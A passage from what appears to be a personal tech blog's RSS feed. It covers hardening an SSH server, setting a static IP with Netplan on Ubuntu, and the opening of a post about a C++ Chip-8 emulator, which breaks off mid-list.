&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="disallow-root-login"&gt;
Disallow root login
&lt;a href="#disallow-root-login" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;It is best to disable &lt;code&gt;root&lt;/code&gt; ssh logins, because anyone can try to login as &lt;code&gt;root&lt;/code&gt; if they guess the password. If you want to become &lt;code&gt;root&lt;/code&gt; you can login as a user and then if you have &lt;code&gt;sudo&lt;/code&gt; privileges you can run &lt;code&gt;sudo su&lt;/code&gt; in order to become root.&lt;/p&gt;
&lt;p&gt;Ubuntu by default has no way to login as &lt;code&gt;root&lt;/code&gt;, you can only change to root from a &lt;code&gt;sudo&lt;/code&gt; user, so this will not change much, but it is best practice:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;PermitRootLogin no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="change-port"&gt;
Change port
&lt;a href="#change-port" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;This is probably the most important change you will have to make if you have a publicly available SSH service. A lot of brute-force attack are happening automatically from scripts and bots, and almost all of them try the default &lt;code&gt;port 22&lt;/code&gt;. So try to find a new port, preferably over &lt;code&gt;port 1024&lt;/code&gt; which are the Registered ports and even better &lt;code&gt;port 49152&lt;/code&gt; which can be used by anyone:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Port 44444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="disallow-password-authentication"&gt;
Disallow password authentication
&lt;a href="#disallow-password-authentication" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Another setting that will make the server very secure from unwanted login tries, is to disable Password Authentication completely. This means that you can only login to the server with SSH keys. If you are planing to configure SSH keys for the server to login without putting your password its best to disable it completely.&lt;/p&gt;
&lt;p&gt;Be careful to change this after you have successfully configured the SSH keys on the Server and Client and you can login without a password, because if not you will be able to SSH in to the server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;PasswordAuthentication no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="allow-specific-users-and-groups"&gt;
Allow specific users and groups
&lt;a href="#allow-specific-users-and-groups" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;You can also, allow only specific users or groups on the system that will be able to login with SSH:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;AllowUsers USER_NAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;AllowGroups GROUP_NAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="max-tries-and-sessions"&gt;
Max Tries and Sessions
&lt;a href="#max-tries-and-sessions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;MaxSessions&lt;/code&gt; specifies the maximum number of open sessions permitted per network connection. If you don&amp;rsquo;t plan to use the server concurrently from a lot of remote location its best to keep that number to a minimum. Also, the &lt;code&gt;MaxAuthTries&lt;/code&gt; specifies the maximum number of authentication attempts permitted per connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;MaxSessions 3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;MaxAuthTries 6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="disable-x11-forwarding-and-tcp-forwarding"&gt;
Disable X11 Forwarding and TCP Forwarding
&lt;a href="#disable-x11-forwarding-and-tcp-forwarding" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you plan not to use a graphical window with the server, its based to disable &lt;strong&gt;X11 forwarding&lt;/strong&gt;. Also, if you don&amp;rsquo;t plan to forward ports and services on the server to a client machine, its best to disable &lt;strong&gt;TCP forwarding&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;AllowTcpForwarding no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;X11Forwarding no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="restart-ssh-server"&gt;
Restart SSH server
&lt;a href="#restart-ssh-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;After all the changes in the &lt;code&gt;sshd_config&lt;/code&gt; you will want to restart the service to enable the changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemctl restart ssh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you are connected with SSH, you will probably log out.&lt;/p&gt;
&lt;h2 id="port-forwarding"&gt;
Port Forwarding
&lt;a href="#port-forwarding" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If you running the Server in your home or generally in a local network you will not be able to access the server outside your home. You will have to enable port forwarding in your router/modem for the port you chose for SSH, in order to forward the SSH traffic from your router to your computer running the SSH server.&lt;/p&gt;
&lt;p&gt;Every router vendor has a different panel and setting to enable port-forwarding, you can find more info for your router on &lt;a href="https://portforward.com"&gt;portforward.com&lt;/a&gt;, that have extensive guides for almost every router model.&lt;/p&gt;
&lt;p&gt;Generally you want to configure the WAN port &lt;code&gt;22&lt;/code&gt; to bind to the LAN port on &lt;code&gt;44444&lt;/code&gt; (or whichever port you chose).&lt;/p&gt;
&lt;h2 id="configure-ssh-keys"&gt;
Configure SSH Keys
&lt;a href="#configure-ssh-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-ssh-key-pair"&gt;
Create SSH Key pair
&lt;a href="#create-ssh-key-pair" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;As we already mentioned, you can create an SSH key pair on your local computer (client) in order to use with the server to avoid typing password on every SSH login.&lt;/p&gt;
&lt;p&gt;In order to do that we first have to create an RSA key pair on the client machine. We will assume it is a Unix machine, but you can replicate it easily to a Windows machine.&lt;/p&gt;
&lt;p&gt;If you don&amp;rsquo;t already have an SSH key pair you can safely generate one with the &lt;code&gt;ssh-keygen&lt;/code&gt; command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh-keygen -t rsa -b &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; -C &lt;span style="color:#e6db74"&gt;&amp;#34;your@email.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This creates a new ssh key, using the provided email as a label.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Generating public/private rsa key pair.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When you&amp;rsquo;re prompted to &amp;ldquo;Enter a file in which to save the key,&amp;rdquo; press Enter. This accepts the default file location. If you have already a key pair you can use this one, or you can generate another one but you have to change the name of the key or else it will replace the existing one with the default name &lt;code&gt;id_rsa&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Enter a file in which to save the key &lt;span style="color:#f92672"&gt;(&lt;/span&gt;/home/you/.ssh/id_rsa&lt;span style="color:#f92672"&gt;)&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;Press enter&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At the prompt, type a secure passphrase. Its safer to have a password, but less convenient.&lt;/p&gt;
&lt;h3 id="transfer-public-key-to-server"&gt;
Transfer public key to server
&lt;a href="#transfer-public-key-to-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Replace the user and server with your username and the server address you wish to use the key authentication on.&lt;/p&gt;
&lt;p&gt;This also assumes you saved the key pair using the default file name and location. If not, just replace the key path &lt;code&gt;~/.ssh/id_rsa.pub&lt;/code&gt; above with your own key name.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh-copy-id -i ~/.ssh/id_rsa.pub -p port user@server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or ssh to the server and manually add it to &lt;code&gt;authorized_keys&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;YOUR_SSH_PUBLIC_KEY&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; .ssh/authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ssh.com/academy/ssh/config"&gt;SSH config file for OpenSSH client&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/zduey/how-to-set-up-an-ssh-server-on-a-home-computer"&gt; How to Set up an SSH Server on a Home Computer &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers"&gt;List of TCP and UDP port numbers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portforward.com"&gt;portforward.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys-2"&gt;How To Set Up SSH Keys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-setup-a-firewall-with-ufw-on-an-ubuntu-and-debian-cloud-server"&gt;How To Setup a Firewall with UFW on an Ubuntu and Debian Cloud Server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Static IP Server Configure</title><link>https://thanoskoutr.com/posts/static-ip-server-configure/</link><pubDate>Sat, 13 Jun 2020 15:57:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/static-ip-server-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/netplan.jpg"/&gt;
&lt;p&gt;In this post, we will see how we can set a static IP address on our Linux server, specifically an Ubuntu Server (Version &amp;gt; 17.10).&lt;/p&gt;
&lt;p&gt;Ubuntu now uses &lt;code&gt;Netplan&lt;/code&gt; as the default network management tool to replace the old configuration file &lt;code&gt;/etc/network/interfaces&lt;/code&gt; that we can still find in other Linux Distributions.&lt;/p&gt;
&lt;h2 id="network-interface"&gt;
Network Interface
&lt;a href="#network-interface" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;First we need to find the network interface name that we are connected, we can do that with &lt;code&gt;ifconfig&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ifconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;enp3s0: flags&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt; mtu &lt;span style="color:#ae81ff"&gt;1500&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inet 192.168.1.99 netmask 255.255.255.0 broadcast 192.168.1.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also use the newer &lt;code&gt;ip&lt;/code&gt; command, if &lt;code&gt;ifconfig&lt;/code&gt; is not available:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu &lt;span style="color:#ae81ff"&gt;1500&lt;/span&gt; qdisc fq_codel state UP group default qlen &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; link/ether 50:46:5d:b5:82:f0 brd ff:ff:ff:ff:ff:ff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inet 192.168.1.99/24 brd 192.168.1.255 scope global enp3s0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can see that the network interface is &lt;code&gt;enp3s0&lt;/code&gt; and the IP address is &lt;code&gt;192.168.1.99&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="netplan-file"&gt;
Netplan file
&lt;a href="#netplan-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Netplan uses configuration files in YAML format. To configure a static local IP address with &lt;code&gt;netplan&lt;/code&gt; we need to edit the following &lt;code&gt;yaml&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/netplan/01-netcfg.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;01-netcfg.yaml&lt;/code&gt; file defore we change it will be like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;network&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;version&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;renderer&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;networkd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ethernets&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;dhcp4&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And after the changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;network&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;version&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;renderer&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;networkd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ethernets&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;enp3s0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;dhcp4&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;no&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;addresses&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;192.168.1.99&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;/24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;routes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;to&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;default&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;via&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;192.168.1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;nameservers&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;addresses&lt;/span&gt;: [&lt;span style="color:#ae81ff"&gt;8.8.8.8&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;8.8.4.4&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We explain the additional field we added:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enp3s0&lt;/code&gt;: The network interface name&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dhcp4: no&lt;/code&gt;: We don&amp;rsquo;t want DHCP to give us an IP address&lt;/li&gt;
&lt;li&gt;&lt;code&gt;addresses&lt;/code&gt;: The IP address that we want to be assigned and the subnet&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateway4&lt;/code&gt;: The local networks gateway&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nameservers&lt;/code&gt;: The IP addresses of the nameservers we want to have&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Give the file the proper permissions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt; /etc/netplan/01-netcfg.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Apply changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo netplan apply
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verify the changes by typing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip addr show dev enp3s0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu &lt;span style="color:#ae81ff"&gt;1500&lt;/span&gt; qdisc fq_codel state UP group default qlen &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; link/ether 50:46:5d:b5:82:f0 brd ff:ff:ff:ff:ff:ff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inet 192.168.1.99/24 brd 192.168.1.255 scope global enp3s0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ubuntu.com/server/docs/network-configuration"&gt;Ubuntu - Network Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubuntu.com/server/docs/configuring-networks"&gt;Ubuntu Server Docs - Configuring networks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxize.com/post/how-to-configure-static-ip-address-on-ubuntu-18-04/"&gt;How to Configure Static IP Address on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Building a Chip-8 emulator used by 8-bit microcomputers</title><link>https://thanoskoutr.com/posts/projects/chip-8-emulator/</link><pubDate>Mon, 20 Apr 2020 02:26:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/projects/chip-8-emulator/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/chip-8-emulator.png"/&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;This is an emulator (interpreter more accurately) for the CHIP-8, an interpreted programming language, developed by Joseph Weisbecker and used on 8-bit microcomputers in the mid-1970s.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example: Pong on the CHIP-8 emulator&lt;/em&gt;&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/chip-8-emulator/chip-8-pong.png" alt="pong on chip-8 emulator" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;p&gt;It was implemented as a side project to understand better a systems architecture, by implementing every assembly instruction in code. Chip-8 is a very simple 8-bit microcomputer, with a small but complete set of instructions (only 35 opcodes).&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="GitHub" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
GitHub repository: &lt;a href="https://github.com/thanoskoutr/Chip-8-Emulator"&gt;https://github.com/thanoskoutr/Chip-8-Emulator&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="technologies"&gt;
Technologies
&lt;a href="#technologies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The main technologies used for this project (language, graphics):&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/cplusplus/cplusplus-plain.svg" alt="C&amp;#43;&amp;#43; logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/sdl/sdl-plain.svg" alt="SDL logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://thanoskoutr.com/logos/make.png" alt="make logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The emulator is implemented in C++.&lt;/li&gt;
&lt;li&gt;The graphics are created with SDL2.&lt;/li&gt;
